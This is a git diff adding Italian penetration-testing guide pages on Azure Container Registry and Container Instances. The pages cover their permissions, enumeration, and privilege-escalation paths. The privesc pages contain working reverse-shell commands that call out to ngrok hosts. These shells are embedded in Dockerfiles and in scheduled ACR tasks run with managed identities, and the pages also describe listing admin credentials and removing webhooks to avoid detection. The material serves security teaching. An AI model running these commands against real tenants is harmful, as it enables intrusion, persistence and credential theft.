diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e3e18e17d..7ab73713c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -408,6 +408,8 @@ - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md) - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -445,7 +447,7 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md) + - [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) @@ -460,14 +462,16 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) + - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md) + - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md) + - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) - - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) - - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) + - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) + - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) diff --git a/src/images/registry_roles.png b/src/images/registry_roles.png new file mode 100644 index 000000000..f1d4a3615 Binary files /dev/null and b/src/images/registry_roles.png differ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md new file mode 100644 index 000000000..465c083bb --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md @@ -0,0 +1,64 @@ +# Az - Azure Container Instances Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Instances + +Per ulteriori informazioni controlla: + +{{#ref}} +../az-services/az-container-instances.md +{{#endref}} + +### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action` + +Queste autorizzazioni consentono all'utente di **eseguire un comando** in un container in esecuzione. Questo può essere utilizzato per **escalare i privilegi** nel container se ha un'identità gestita associata. Ovviamente, è anche possibile accedere al codice sorgente e a qualsiasi altra informazione sensibile memorizzata all'interno del container. + +Per eseguire un `ls` e ottenere l'output è semplice come: +```bash +az container exec --name --resource-group --exec-command 'ls' +``` +È anche possibile **leggere l'output** del container con: +```bash +az container attach --name --resource-group +``` +Oppure ottieni i log con: +```bash +az container logs --name --resource-group +``` +### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Queste autorizzazioni consentono di **collegare un'identità gestita dall'utente** a un gruppo di contenitori. Questo è molto utile per elevare i privilegi nel contenitore. + +Per collegare un'identità gestita dall'utente a un gruppo di contenitori: +```bash +az rest \ +--method PATCH \ +--url "/subscriptions//resourceGroups//providers/Microsoft.ContainerInstance/containerGroups/?api-version=2021-09-01" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' \ +--headers "Content-Type=application/json" +``` +### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Queste autorizzazioni consentono di **creare o aggiornare un gruppo di contenitori** con un **'identità gestita dall'utente'** ad esso associata. Questo è molto utile per elevare i privilegi nel contenitore. +```bash +az container create \ +--resource-group > \ +--name nginx2 \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--assign-identity "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--restart-policy OnFailure \ +--os-type Linux \ +--cpu 1 \ +--memory 1.0 +``` +Inoltre, è anche possibile aggiornare un gruppo di contenitori esistente aggiungendo ad esempio l'argomento **`--command-line`** con una reverse shell. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md new file mode 100644 index 000000000..f6b02a855 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md @@ -0,0 +1,115 @@ +# Az - Azure Container Registry Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +Per ulteriori informazioni controlla: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action` + +Questo permesso consente all'utente di elencare le credenziali di amministrazione dell'ACR. Questo è utile per **ottenere accesso completo** al registro. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries//listCredentials?api-version=2023-11-01-preview" +``` +Nel caso in cui le credenziali di amministratore non siano abilitate, avrai anche bisogno del permesso `Microsoft.ContainerRegistry/registries/write` per abilitarle con: +```bash +az rest --method PATCH --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries/?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}' +``` +### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action` + +Queste autorizzazioni consentono all'utente di **creare un nuovo token** con password per accedere al registro. + +Per utilizzare `az cli` per generarlo come nell'esempio seguente, avrai anche bisogno delle autorizzazioni `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read` +```bash +az acr token create \ +--registry \ +--name \ +--scope-map _repositories_admin +``` +### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action` + +Queste autorizzazioni consentono all'utente di **costruire ed eseguire un'immagine** nel registro. Questo può essere utilizzato per **eseguire codice** nel contenitore. + +>[!WARNING] +> Tuttavia, l'immagine verrà eseguita in un **ambiente isolato** e **senza accesso al servizio di metadata**. Ciò significa che il contenitore non avrà accesso ai **metadata dell'istanza**, quindi questo non è realmente utile per l'escalation dei privilegi. +```bash +# Build +echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile +az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null +``` +### `Microsoft.ContainerRegistry/registries/tasks/write` + +Questa è l'autorizzazione principale che consente di creare e aggiornare un'attività nel registro. Questo può essere utilizzato per **eseguire un codice all'interno di un contenitore con un'identità gestita ad esso associata** nel contenitore. + +Questo è un esempio su come eseguire una reverse shell in un contenitore con l'identità **gestita dal sistema** ad essa associata: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +Un altro modo per ottenere un RCE da un task senza utilizzare un repository esterno è usare il comando `az acr task create` con il flag `--cmd`. Questo ti permetterà di eseguire un comando nel container. Ad esempio, puoi eseguire una reverse shell con il seguente comando: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task-cmd \ +--image rev/shell2:v1 \ +--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \ +--schedule "*/1 * * * *" \ +--context /dev/null \ +--commit-trigger-enabled false \ +--assign-identity +``` +> [!TIP] +> Nota che per assegnare l'identità gestita dal sistema non hai bisogno di permessi speciali, anche se deve essere stata abilitata in precedenza nel registro e assegnati alcuni permessi affinché sia utile. + +Per assegnare anche un **'identità gestita dall'utente** avresti bisogno del permesso `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` per fare: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \[system\] "/subscriptions/>/resourcegroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +Per **aggiornare** il repo di un'attività esistente puoi fare: +```bash +az acr task update \ +--registry \ +--name reverse-shell-task \ +--context https://github.com/your-user/your-repo.git +``` +### `Microsoft.ContainerRegistry/registries/importImage/action` + +Con questo permesso è possibile **importare un'immagine nel registro azure**, anche senza avere l'immagine localmente. Tuttavia, nota che **non puoi importare un'immagine con un tag** che esiste già nel registro. +```bash +# Push with az cli +az acr import \ +--name \ +--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import +``` +Per **rimuovere o eliminare un tag di immagine specifico** dal registro, puoi utilizzare il seguente comando. Tuttavia, nota che avrai bisogno di un utente o di un token con **sufficienti permessi** per farlo: +```bash +az acr repository untag \ +--name \ +--image : + +az acr repository delete \ +--name \ +--image : +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-instances.md b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md new file mode 100644 index 000000000..c88bd8d01 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md @@ -0,0 +1,45 @@ +# Az - Container Instances + +{{#include ../../../../banners/hacktricks-training.md}} + +## Informazioni di base + +Azure Container Instances (ACI) forniscono un **modo serverless e on-demand** per eseguire **container** nel cloud di Azure. Puoi **distribuire** uno o più container in un gruppo con **compute scalabile**, **opzioni di rete** e la flessibilità di connetterti ad **altri servizi Azure** (come Storage, Virtual Networks o Container Registries). + +Poiché sono carichi di lavoro **effimeri**, non è necessario gestire l'infrastruttura VM sottostante: Azure si occupa di questo per te. Tuttavia, da una **prospettiva di sicurezza offensiva**, è fondamentale comprendere come **permessi**, **identità**, **configurazioni di rete** e **log** possano rivelare superfici di attacco e potenziali misconfigurazioni. + +### Configurazioni + +- Per creare un container è possibile utilizzare un'immagine pubblica, un'immagine di container da un Azure Container Registry o un repository esterno, che potrebbe **richiedere di configurare una password** per accedervi. +- Per quanto riguarda la rete, può anche avere un **IP pubblico** o essere **endpoint privati**. +- È anche possibile configurare impostazioni docker comuni come: +- **Variabili di ambiente** +- **Volumi** (anche da Azure Files) +- **Porte** +- **Limiti di CPU e memoria** +- **Politica di riavvio** +- **Esegui come privilegiato** +- **Riga di comando da eseguire** +- ... + +## Enumerazione + +> [!WARNING] +> Quando si enumera ACI, è possibile rivelare configurazioni sensibili come **variabili di ambiente**, **dettagli di rete** o **identità gestite**. Fai attenzione a registrarle o visualizzarle. +```bash +# List all container instances in the subscription +az container list + +# Show detailed information about a specific container instance +az container show --name --resource-group + +# Fetch logs from a container +az container logs --name --resource-group + +# Execute a command in a running container and get the output +az container exec --name --resource-group --exec-command "ls" + +# Get yaml configuration of the container group +az container export --name --resource-group +``` + diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md new file mode 100644 index 000000000..ace6adeac --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -0,0 +1,157 @@ +# Az - Container Registry + +{{#include ../../../../banners/hacktricks-training.md}} + +## Informazioni di base + +Azure Container Registry (ACR) è un registro privato e sicuro che consente di **memorizzare, gestire e accedere alle immagini dei container nel cloud Azure**. Si integra perfettamente con diversi servizi Azure, fornendo flussi di lavoro automatizzati per la creazione e il deployment su larga scala. Con funzionalità come la geo-replica e la scansione delle vulnerabilità, ACR aiuta a garantire sicurezza e conformità di livello enterprise per le applicazioni containerizzate. + +### Permessi + +Questi sono i **diversi permessi** [secondo la documentazione](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) che possono essere concessi su un Container Registry: + +- Access Resource Manager +- Create/delete registry +- Push image +- Pull image +- Delete image data +- Change policies +- Sign images + +Ci sono anche alcuni **ruoli predefiniti** che possono essere assegnati, ed è anche possibile creare **ruoli personalizzati**. + +![]() + +### Autenticazione + +> [!WARNING] +> È molto importante che anche se il nome del registro contiene alcune lettere maiuscole, dovresti sempre usare **lettere minuscole** per accedere, caricare e scaricare immagini. + +Ci sono 4 modi per autenticarsi a un ACR: + +- **Con Entra ID**: Questo è il **metodo predefinito** per autenticarsi a un ACR. Utilizza il comando **`az acr login`** per autenticarsi all'ACR. Questo comando **memorizzerà le credenziali** nel file **`~/.docker/config.json`**. Inoltre, se stai eseguendo questo comando da un ambiente senza accesso a un socket docker come in una **cloud shell**, è possibile utilizzare il flag **`--expose-token`** per ottenere il **token** per autenticarsi all'ACR. Poi, per autenticarti, devi usare come nome utente `00000000-0000-0000-0000-000000000000` come: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **Con un account admin**: L'utente admin è disabilitato per impostazione predefinita, ma può essere abilitato e poi sarà possibile accedere al registro con il **nome utente** e la **password** dell'account admin con pieni permessi sul registro. Questo è ancora supportato perché alcuni servizi Azure lo utilizzano. Nota che **2 password** vengono create per questo utente e entrambe sono valide. Puoi abilitarlo con `az acr update -n --admin-enabled true`. Nota che il nome utente è solitamente il nome del registro (e non `admin`). +- **Con un token**: È possibile creare un **token** con una **specifica `scope map`** (permessi) per accedere al registro. Poi, è possibile utilizzare questo nome di token come nome utente e alcune delle password generate per autenticarsi al registro con `docker login -u -p aregistry-url>` +- **Con un Service Principal**: È possibile creare un **service principal** e assegnare un ruolo come **`AcrPull`** per scaricare immagini. Poi, sarà possibile **accedere al registro** utilizzando l'appId SP come nome utente e un segreto generato come password. + +Esempio di script dalla [documentazione](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) per generare un SP con accesso su un registro: +```bash +#!/bin/bash +ACR_NAME=$containerRegistry +SERVICE_PRINCIPAL_NAME=$servicePrincipal + +# Obtain the full registry ID +ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv) + +PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv) +USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv) + +echo "Service principal ID: $USER_NAME" +echo "Service principal password: $PASSWORD" +``` +### Crittografia + +Solo il **Premium SKU** supporta la **crittografia a riposo** per le immagini e altri artefatti. + +### Rete + +Solo il **Premium SKU** supporta i **punti finali privati**. Gli altri supportano solo l'**accesso pubblico**. Un punto finale pubblico ha il formato `.azurecr.io` e un punto finale privato ha il formato `.privatelink.azurecr.io`. Per questo motivo, il nome del registro deve essere unico in tutto Azure. + +### Microsoft Defender for Cloud + +Questo ti consente di **scansionare le immagini** nel registro per **vulnerabilità**. + +### Soft-delete + +La funzione di **soft-delete** ti consente di **recuperare un registro eliminato** entro il numero di giorni indicato. Questa funzione è **disabilitata per impostazione predefinita**. + +### Webhook + +È possibile **creare webhook** all'interno dei registri. In questo webhook è necessario specificare l'URL dove una **richiesta sarà inviata ogni volta che viene eseguita un'azione di push o delete**. Inoltre, i Webhook possono indicare un ambito per indicare i repository (immagini) che saranno interessati. Ad esempio, 'foo:*' significa eventi sotto il repository 'foo'. + +Dal punto di vista di un attaccante, è interessante controllare questo **prima di eseguire qualsiasi azione** nel registro e rimuoverlo temporaneamente se necessario, per evitare di essere rilevati. + +### Registri connessi + +Questo consente fondamentalmente di **rispecchiare le immagini** da un registro a un altro, solitamente situato in locale. + +Ha 2 modalità: **ReadOnly** e **ReadWrite**. Nella prima, le immagini vengono solo **scaricate** dal registro sorgente, e nella seconda, le immagini possono anche essere **caricate** nel registro sorgente. + +Affinché i client possano accedere al registro da Azure, viene generato un **token** quando viene utilizzato il registro connesso. + +### Esecuzioni e Attività + +Esecuzioni e Attività consentono di eseguire in Azure azioni relative ai container che normalmente avresti dovuto fare localmente o in una pipeline CI/CD. Ad esempio, puoi **costruire, caricare ed eseguire immagini nel registro**. + +Il modo più semplice per costruire ed eseguire un container è utilizzare un'esecuzione regolare: +```bash +# Build +echo "FROM mcr.microsoft.com/hello-world" > Dockerfile +az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile . + +# Run +az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null +``` +Tuttavia, ciò attiverà esecuzioni che non sono molto interessanti dal punto di vista di un attaccante poiché non hanno alcuna identità gestita ad esse associata. + +Tuttavia, **tasks** possono avere un'**identità gestita di sistema e utente** ad esse associata. Questi tasks sono quelli utili per **escalare privilegi** nel container. Nella sezione di escalation dei privilegi è possibile vedere come utilizzare i tasks per escalare privilegi. + +### Cache + +La funzione di cache consente di **scaricare immagini da un repository esterno** e memorizzare le nuove versioni nel registro. Richiede di avere alcune **credenziali configurate** selezionando le credenziali da un Azure Vault. + +Questo è molto interessante dal punto di vista di un attaccante perché consente di **pivotare su una piattaforma esterna** se l'attaccante ha abbastanza permessi per accedere alle credenziali, **scaricare immagini da un repository esterno** e configurare una cache potrebbe anche essere utilizzato come **meccanismo di persistenza**. + +## Enumeration + +> [!WARNING] +> È molto importante che anche se il nome del registro contiene alcune lettere maiuscole, dovresti utilizzare solo lettere minuscole nell'url per accedervi. +```bash +# List of all the registries +# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... +az acr list + +# Get the details of a registry +az acr show --name + +# List tokens of a registry +az acr token list --registry --resource-group + +# List repositories in a registry +az acr repository list --name --resource-group + +# List the tags of a repository +az acr repository show-tags --repository --name --resource-group + +# List deleted repository tags +## At the time of this writing there isn't yet any command to restore it +az acr repository list-deleted --name + +# List tasks +## Check the git URL or the command +az acr task list --registry + +# List tasks runs +az acr task list-runs --registry + +# List connected registries +az acr connected-registry list --registry + +# List cache +az acr cache list --registry + +# Get cache details +az acr cache show --name --registry +``` +## Escalation dei privilegi e Post Exploitation + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## Riferimenti + +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) + +{{#include ../../../../banners/hacktricks-training.md}}